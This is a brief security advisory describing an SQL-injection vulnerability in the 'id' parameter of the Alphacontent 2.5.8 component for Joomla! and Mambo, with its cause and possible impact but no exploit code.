Discussion
Joomla! and Mambo Alphacontent Component 'id' Parameter SQL Injection Vulnerability
The Alphacontent component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects Alphacontent 2.5.8; other versions may also be affected.
